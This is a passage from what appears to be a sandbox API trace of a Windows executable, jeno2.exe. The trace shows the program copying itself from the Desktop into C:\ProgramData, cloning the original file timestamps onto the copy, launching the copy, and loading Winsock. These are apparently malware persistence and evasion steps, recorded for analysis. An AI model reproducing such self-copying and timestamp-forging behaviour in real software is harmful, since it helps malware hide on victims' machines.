lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.889] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.890] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.891] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.892] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.904] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.910] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.910] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.912] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.913] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.914] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.919] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.941] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.943] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.945] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.946] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.947] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.948] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.950] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.951] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.952] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.953] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.956] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.956] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.957] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.958] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.959] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.960] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.961] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.962] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.964] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.965] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.967] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.968] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.969] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.970] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.971] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.984] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.990] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xec00, lpOverlapped=0x0) returned 1 [0055.990] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xec00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xec00, lpOverlapped=0x0) returned 1 [0055.991] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0x0, lpOverlapped=0x0) returned 1 [0055.992] CloseHandle (hObject=0x174) returned 1 [0056.270] CloseHandle (hObject=0x178) returned 1 [0056.270] IMalloc:Free (This=0x767666bc, pv=0x1521588) [0056.270] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeno2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0056.270] CreateFileA (lpFileName="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0056.270] GetFileTime (in: hFile=0x178, lpCreationTime=0x18f78c, lpLastAccessTime=0x18f794, lpLastWriteTime=0x18f79c | out: lpCreationTime=0x18f78c*(dwLowDateTime=0xd0387900, dwHighDateTime=0x1d6080c), lpLastAccessTime=0x18f794*(dwLowDateTime=0xd0387900, dwHighDateTime=0x1d6080c), lpLastWriteTime=0x18f79c*(dwLowDateTime=0x8482d100, dwHighDateTime=0x1d60806)) returned 1 [0056.270] SetFileTime (hFile=0x174, lpCreationTime=0x18f78c, lpLastAccessTime=0x18f794, lpLastWriteTime=0x18f79c) returned 1 [0056.271] CloseHandle (hObject=0x178) returned 1 [0056.271] CloseHandle (hObject=0x174) returned 1 [0056.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18f924, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0056.271] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0056.271] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0056.271] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0056.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e7077c, cbMultiByte=3, lpWideCharStr=0x1507ae4, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0056.271] SysReAllocStringLen (in: pbstr=0x18f9b4*="C:", psz=0x0, len=0x2 | out: pbstr=0x18f9b4*="C:") returned 1 [0056.271] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18f848, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeno2.exe")) returned 0x2f [0056.272] lstrcpynA (in: lpString1=0x18f734, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" [0056.272] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned 47 [0056.272] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x30) returned 0x147af90 [0056.272] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x30) returned 0x14774b0 [0056.272] lstrcpyA (in: lpString1=0x147af90, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" [0056.272] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x6) returned 0x147b7c8 [0056.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14774b0 | out: hHeap=0x1460000) returned 1 [0056.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147af90 | out: hHeap=0x1460000) returned 1 [0056.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147b7c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0056.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147b7c8, cbMultiByte=-1, lpWideCharStr=0x14fcb6c, cchWideChar=6 | out: lpWideCharStr="jeno2") returned 6 [0056.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147b7c8 | out: hHeap=0x1460000) returned 1 [0056.272] VarCat (in: pvarLeft=0x18fce0, pvarRight=0x18fc30, pvarResult=0x18fcd0 | out: pvarResult=0x18fcd0) returned 0x0 [0056.272] VarCat (in: pvarLeft=0x18fcd0, pvarRight=0x18fcc0, pvarResult=0x18fcb0 | out: pvarResult=0x18fcb0) returned 0x0 [0056.272] VarCat (in: pvarLeft=0x18fcb0, pvarRight=0x18fc20, pvarResult=0x18fca0 | out: pvarResult=0x18fca0) returned 0x0 [0056.272] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\ProgramData\\jeno2.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f988*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18f9cc | out: lpCommandLine="C:\\ProgramData\\jeno2.exe", lpProcessInformation=0x18f9cc*(hProcess=0x178, hThread=0x174, dwProcessId=0x9e0, dwThreadId=0x9ec)) returned 1 [0056.319] GetLastError () returned 0x715 [0056.319] WaitForInputIdle (hProcess=0x178, dwMilliseconds=0x2710) returned 0x0 [0057.128] CloseHandle (hObject=0x174) returned 1 [0057.128] CloseHandle (hObject=0x178) returned 1 [0057.129] GetCurrentThreadId () returned 0x3a4 [0057.129] GetCurrentThreadId () returned 0x3a4 [0057.130] lstrcmpiA (lpString1="MSWinsockLib.Winsock", lpString2="MSWinsockLib.Winsock") returned 0 [0057.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0057.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1500484, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0057.130] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18f9b0) [0057.131] RtlUnwind (TargetFrame=0x18fe70, TargetIp=0x72a43bb5, ExceptionRecord=0x0, ReturnValue=0x0) [0057.131] GetCurrentThreadId () returned 0x3a4 [0057.131] GetCurrentThreadId () returned 0x3a4 [0057.131] lstrcmpiA (lpString1="MSWinsockLib.Winsock", lpString2="MSWinsockLib.Winsock") returned 0 [0057.132] GetCurrentThreadId () returned 0x3a4 [0057.132] GetCurrentThreadId () returned 0x3a4 [0057.132] GetCurrentThreadId () returned 0x3a4 [0057.132] GetCurrentThreadId () returned 0x3a4 [0057.132] GetCurrentThreadId () returned 0x3a4 [0057.132] PostMessageA (hWnd=0x5011c, Msg=0x0, wParam=0x0, lParam=0x0) returned 1 [0057.138] FreeLibrary (hLibModule=0x77710000) returned 1 [0057.138] FreeLibrary (hLibModule=0x76d30000) returned 1 [0057.140] FindClose (in: hFindFile=0x14ff540 | out: hFindFile=0x14ff540) returned 1 [0057.140] GetCurrentThreadId () returned 0x3a4 [0057.140] SendMessageA (hWnd=0x5011c, Msg=0x1050, wParam=0x0, lParam=0x0) returned 0x0 [0057.140] GetCurrentThreadId () returned 0x3a4 [0057.140] GetCurrentThreadId () returned 0x3a4 [0057.140] GetCurrentThreadId () returned 0x3a4 [0057.140] GetCurrentThreadId () returned 0x3a4 [0057.141] GetCurrentThreadId () returned 0x3a4 [0057.141] GetCurrentThreadId () returned 0x3a4 [0057.141] GetCurrentThreadId () returned 0x3a4 [0057.141] GetCurrentThreadId () returned 0x3a4 [0057.141] GetCurrentThreadId () returned 0x3a4 [0057.141] GetCurrentThreadId () returned 0x3a4 [0057.141] GetCurrentThreadId () returned 0x3a4 [0057.141] GetCurrentThreadId () returned 0x3a4 [0057.141] GetCurrentThreadId () returned 0x3a4 [0057.141] lstrcpyA (in: lpString1=0x18fa58, lpString2="" | out: lpString1="") returned="" [0057.141] lstrlenA (lpString="") returned 0 [0057.141] lstrcpyA (in: lpString1=0x18f850, lpString2="" | out: lpString1="") returned="" [0057.141] lstrcpynA (in: lpString1=0x18f428, lpString2="", iMaxLength=260 | out: lpString1="") returned="" [0057.141] lstrlenA (lpString="") returned 0 [0057.141] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x1) returned 0x147af90 [0057.142] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x1) returned 0x147afa0 [0057.142] lstrcpyA (in: lpString1=0x147af90, lpString2="" | out: lpString1="") returned="" [0057.142] lstrlenA (lpString="") returned 0 [0057.142] lstrlenA (lpString=".HLP") returned 4 [0057.142] lstrcpyA (in: lpString1=0x18f544, lpString2="" | out: lpString1="") returned="" [0057.142] lstrcatA (in: lpString1="", lpString2=".HLP" | out: lpString1=".HLP") returned=".HLP" [0057.142] lstrcpynA (in: lpString1=0x18f308, lpString2=".HLP", iMaxLength=260 | out: lpString1=".HLP") returned=".HLP" [0057.142] lstrlenA (lpString=".HLP") returned 4 [0057.142] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x147af90, Size=0x5) returned 0x147af90 [0057.142] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x147afa0, Size=0x5) returned 0x147afa0 [0057.142] lstrcpyA (in: lpString1=0x147af90, lpString2=".HLP" | out: lpString1=".HLP") returned=".HLP" [0057.142] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x105) returned 0x147b7c8 [0057.142] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x5) returned 0x147afb0 [0057.142] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f3f8 | out: phkResult=0x18f3f8*=0xb4) returned 0x0 [0057.142] RegOpenKeyExA (in: hKey=0xb4, lpSubKey="HTML Help", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f3fc | out: phkResult=0x18f3fc*=0x178) returned 0x0 [0057.143] RegQueryValueExA (in: hKey=0x178, lpValueName=".HLP", lpReserved=0x0, lpType=0x0, lpData=0x147b7c8, lpcbData=0x18f3f4*=0x104 | out: lpType=0x0, lpData=0x147b7c8*=0xc4, lpcbData=0x18f3f4*=0x104) returned 0x2 [0057.143] RegCloseKey (hKey=0x178) returned 0x0 [0057.143] RegCloseKey (hKey=0xb4) returned 0x0 [0057.143] GetPrivateProfileStringA (in: lpAppName="FILES", lpKeyName=".HLP", lpDefault="", lpReturnedString=0x147b7c8, nSize=0x104, lpFileName="WINHELP.INI" | out: lpReturnedString="") returned 0x0 [0057.143] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147b7c8 | out: hHeap=0x1460000) returned 1 [0057.143] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147afb0 | out: hHeap=0x1460000) returned 1 [0057.143] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x105) returned 0x147b7c8 [0057.143] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x5) returned 0x147afb0 [0057.144] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f3f8 | out: phkResult=0x18f3f8*=0xb4) returned 0x0 [0057.144] RegOpenKeyExA (in: hKey=0xb4, lpSubKey="Help", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f3fc | out: phkResult=0x18f3fc*=0x0) returned 0x2 [0057.144] RegCloseKey (hKey=0xb4) returned 0x0 [0057.144] GetPrivateProfileStringA (in: lpAppName="FILES", lpKeyName=".HLP", lpDefault="", lpReturnedString=0x147b7c8, nSize=0x104, lpFileName="WINHELP.INI" | out: lpReturnedString="") returned 0x0 [0057.144] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147b7c8 | out: hHeap=0x1460000) returned 1 [0057.144] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147afb0 | out: hHeap=0x1460000) returned 1 [0057.144] lstrcpynA (in: lpString1=0x18f2fc, lpString2="C:\\Windows\\system32", iMaxLength=260 | out: lpString1="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0057.144] lstrlenA (lpString="C:\\Windows\\system32") returned 19 [0057.144] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x147af90, Size=0x14) returned 0x14774b0 [0057.144] lstrlenA (lpString="C:\\Windows\\system32") returned 19 [0057.144] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x147afa0, Size=0x14) returned 0x147afa0 [0057.144] lstrcpyA (in: lpString1=0x14774b0, lpString2="C:\\Windows\\system32" | out: lpString1="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0057.144] lstrcpynA (in: lpString1=0x18f304, lpString2=".HLP", iMaxLength=260 | out: lpString1=".HLP") returned=".HLP" [0057.144] lstrlenA (lpString=".HLP") returned 4 [0057.144] lstrlenA (lpString="C:\\Windows\\system32") returned 19 [0057.144] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x14774b0, Size=0x19) returned 0x14774b0 [0057.145] lstrlenA (lpString="C:\\Windows\\system32") returned 19 [0057.145] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x147afa0, Size=0x19) returned 0x147afa0 [0057.145] lstrcatA (in: lpString1="C:\\Windows\\system32", lpString2="\\" | out: lpString1="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0057.145] lstrcatA (in: lpString1="C:\\Windows\\system32\\", lpString2=".HLP" | out: lpString1="C:\\Windows\\system32\\.HLP") returned="C:\\Windows\\system32\\.HLP" [0057.145] lstrlenA (lpString="C:\\Windows\\system32\\.HLP") returned 24 [0057.145] CharToOemBuffA (in: lpszSrc="C:\\Windows\\system32\\.HLP", lpszDst=0x18f308, cchDstLength=0x19 | out: lpszDst="C:\\Windows\\system32\\.HLP") returned 1 [0057.145] GetFileAttributesA (lpFileName="C:\\Windows\\system32\\.HLP" (normalized: "c:\\windows\\system32\\.hlp")) returned 0xffffffff [0057.145] GetLastError () returned 0x2 [0057.145] GetLastError () returned 0x2 [0057.145] SetLastError (dwErrCode=0x2) [0057.145] GetLastError () returned 0x2 [0057.145] SetLastError (dwErrCode=0x2) [0057.145] GetFileAttributesA (lpFileName="C:\\Windows\\system32\\.HLP" (normalized: "c:\\windows\\system32\\.hlp")) returned 0xffffffff [0057.153] GetLastError () returned 0x2 [0057.153] GetLastError () returned 0x2 [0057.153] SetLastError (dwErrCode=0x2) [0057.153] GetLastError () returned 0x2 [0057.153] SetLastError (dwErrCode=0x2) [0057.153] GetWindowsDirectoryA (in: lpBuffer=0x18f424, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0057.153] lstrlenA (lpString="C:\\Windows") returned 10 [0057.153] lstrlenA (lpString="C:\\Windows") returned 10 [0057.153] lstrlenA (lpString="C:\\Windows\\") returned 11 [0057.153] lstrcpynA (in: lpString1=0x18f308, lpString2="C:\\Windows\\Help", iMaxLength=260 | out: lpString1="C:\\Windows\\Help") returned="C:\\Windows\\Help" [0057.153] lstrlenA (lpString="C:\\Windows\\Help") returned 15 [0057.153] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x14774b0, Size=0x10) returned 0x14774b0 [0057.153] lstrlenA (lpString="C:\\Windows\\Help") returned 15 [0057.153] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x147afa0, Size=0x10) returned 0x147afa0 [0057.153] lstrcpyA (in: lpString1=0x14774b0, lpString2="C:\\Windows\\Help" | out: lpString1="C:\\Windows\\Help") returned="C:\\Windows\\Help" [0057.153] lstrcpynA (in: lpString1=0x18f304, lpString2=".HLP", iMaxLength=260 | out: lpString1=".HLP") returned=".HLP" [0057.153] lstrlenA (lpString=".HLP") returned 4 [0057.153] lstrlenA (lpString="C:\\Windows\\Help") returned 15 [0057.153] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x14774b0, Size=0x15) returned 0x14774b0 [0057.153] lstrlenA (lpString="C:\\Windows\\Help") returned 15 [0057.153] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x147afa0, Size=0x15) returned 0x147afa0 [0057.153] lstrcatA (in: lpString1="C:\\Windows\\Help", lpString2="\\" | out: lpString1="C:\\Windows\\Help\\") returned="C:\\Windows\\Help\\" [0057.153] lstrcatA (in: lpString1="C:\\Windows\\Help\\", lpString2=".HLP" | out: lpString1="C:\\Windows\\Help\\.HLP") returned="C:\\Windows\\Help\\.HLP" 